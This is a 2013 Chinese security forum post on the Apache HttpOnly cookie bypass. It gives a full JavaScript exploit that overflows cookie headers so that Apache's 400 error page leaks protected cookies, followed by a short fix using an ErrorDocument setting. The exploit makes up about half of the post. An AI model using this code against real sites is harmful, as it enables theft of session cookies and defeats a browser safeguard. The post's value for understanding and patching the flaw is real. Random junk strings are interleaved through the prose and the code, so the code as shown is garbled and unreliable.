找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2914|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。2 k% |; }4 s0 t' e- K

: W- j1 [/ Z, g$ L" x+ l用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:* ^) _* G. \1 S1 i
7 t% [' W) O  \" f% R  n

* x5 v, ]8 S7 m! ~4 h// http://www.exploit-db.com/exploits/18442/# Y9 S2 V( C( g0 c1 c: ]
function setCookies (good) {$ M' u5 Y3 q5 a8 u2 I
// Construct string for cookie value
0 L( U1 r* [! ^% Q0 b& l5 mvar str = "";
  D2 p& }9 v! j& Z2 ^* K* \; Bfor (var i=0; i< 819; i++) {
0 _/ W: |* M6 s* r. y/ _str += "x";
1 n$ s+ Y# U- I/ ~8 F2 W  {3 G}
+ {& G6 B2 L. W7 l" `* R// Set cookies6 W) b& G+ u6 O
for (i = 0; i < 10; i++) {7 {% L6 p8 z9 M$ d: W
// Expire evil cookie6 C& _7 }+ p0 F5 N
if (good) {* b9 M( }5 I1 b6 r
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
  I" z! h' b0 L6 z9 u. e% R}* B+ Z2 P) @0 b: I
// Set evil cookie
$ A) O" o6 v- Yelse {
" {7 W3 i0 W# c+ l# vvar cookie = "xss"+i+"="+str+";path=/";
! P# u8 F' r4 g}
- I$ C+ \: K" L3 x  [document.cookie = cookie;
% j3 ^. v. x8 K& Q}
! Y+ ~7 j# H# I+ c" ?$ p' A}
: Z$ a# J# C* }; ?function makeRequest() {8 R% |+ ]/ Q/ @# r- e. a
setCookies();
% g$ j0 m6 y( ~/ Sfunction parseCookies () {
% W: V4 W2 a9 H) o) Tvar cookie_dict = {};
* F# B: l1 a0 t, I1 O% [* c// Only react on 400 status
; x  [+ {% U% Z0 v% ]if (xhr.readyState === 4 && xhr.status === 400) {7 O+ X% F3 |+ _0 J( v: C- s
// Replace newlines and match <pre> content) P; q+ `7 Y# s. _. E3 P
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);/ g4 ?+ |( C' L
if (content.length) {
* |, {4 Q' l- _# S8 Z// Remove Cookie: prefix
6 L# q- U) x7 H5 ^* A% ]# mcontent = content[1].replace("Cookie: ", "");- f* q2 z5 V/ H, S) {
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
& [( B+ [3 G! J// Add cookies to object" A% L. X' l: s5 D5 G- |
for (var i=0; i<cookies.length; i++) {0 ]+ o" l- A  M
var s_c = cookies.split('=',2);! C  q% z9 N; M
cookie_dict[s_c[0]] = s_c[1];
9 I6 A8 G+ Y2 P}" ^) h. l; J4 F9 l
}5 F1 l3 x8 ~! B; t/ A/ r$ _
// Unset malicious cookies
0 m1 ]5 C4 b2 G* L9 I% ysetCookies(true);/ n/ `4 r: }% j
alert(JSON.stringify(cookie_dict));/ J+ y' r, J2 V% P7 x
}
4 z0 n) h; [% v4 c3 {  X}. @  z0 F+ p0 }9 ^
// Make XHR request# O0 [% l2 a2 M% ^2 s. m
var xhr = new XMLHttpRequest();% ^- b  x9 M- \5 e% O" p% u
xhr.onreadystatechange = parseCookies;  ~* G6 P, L1 t% Y# r. ?* R
xhr.open("GET", "/", true);- `9 V9 Q9 w# B( `5 }; a% K
xhr.send(null);
. T  `! Y4 a) E, I3 |}6 G: \' F/ a! I% h+ x
makeRequest();
1 G2 c/ `4 g: W. c! w9 F! n) G
" A" R! J& \" ?你就能看见华丽丽的400错误包含着cookie信息。
1 W4 ~; R- `. K: v: d# N
" I7 v  x/ F( n. u/ W3 Z下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#, }/ o- A8 u% W3 G

& d1 E- Z0 W1 M修复方案:5 y- t6 m# `0 Q, u2 r. j  T0 F
! B+ I# I3 ^! ]1 Q
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下& F# Z0 L4 R3 o! S  O
/ U  Y% `; _$ u1 u- G3 x/ p" J
In the event of a problem or error, Apachecan be configured to do one of four things,
& E" b. [" c9 Z2 x6 ~$ S' Y: _0 Y, ~0 f3 ^" I' W7 [( N& o& p' W
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息: u/ \- O% O9 Q! u
2. output acustomized message输出一段信息% m. m. p# L9 W+ s' l- G
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
0 k3 G" t; x1 [/ g3 g4. redirect to an external URL to handle theproblem/error转向一个外部URL
0 k% p, n8 ^+ o8 E5 k" a
* Z3 d  d4 s# H4 t! U" l8 r) J' B经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容9 ]/ @! d. s2 R- K- g+ j
) o- \& {6 S6 h4 j" s
Apache配置:0 {, o1 Y7 V4 ]$ a9 @5 h7 G) b

/ X- Q& B5 p! x, [ErrorDocument400 " security test"( \) A! V0 P$ O. P' o
" X- a1 Y( W7 {; Q
当然,升级apache到最新也可:)。
9 v9 H% H' l. i
) w5 [+ A# ^' m( x参考:http://httpd.apache.org/security/vulnerabilities_22.html
" J0 O" d. ^0 Z! J; k6 d" x- J/ l9 G& e6 E* q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表